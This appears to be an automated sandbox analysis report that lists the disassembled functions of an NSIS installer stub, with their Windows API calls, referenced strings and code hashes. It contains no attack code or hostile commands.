Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

soft, xrefs: 00403020
Inst, xrefs: 00403017
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

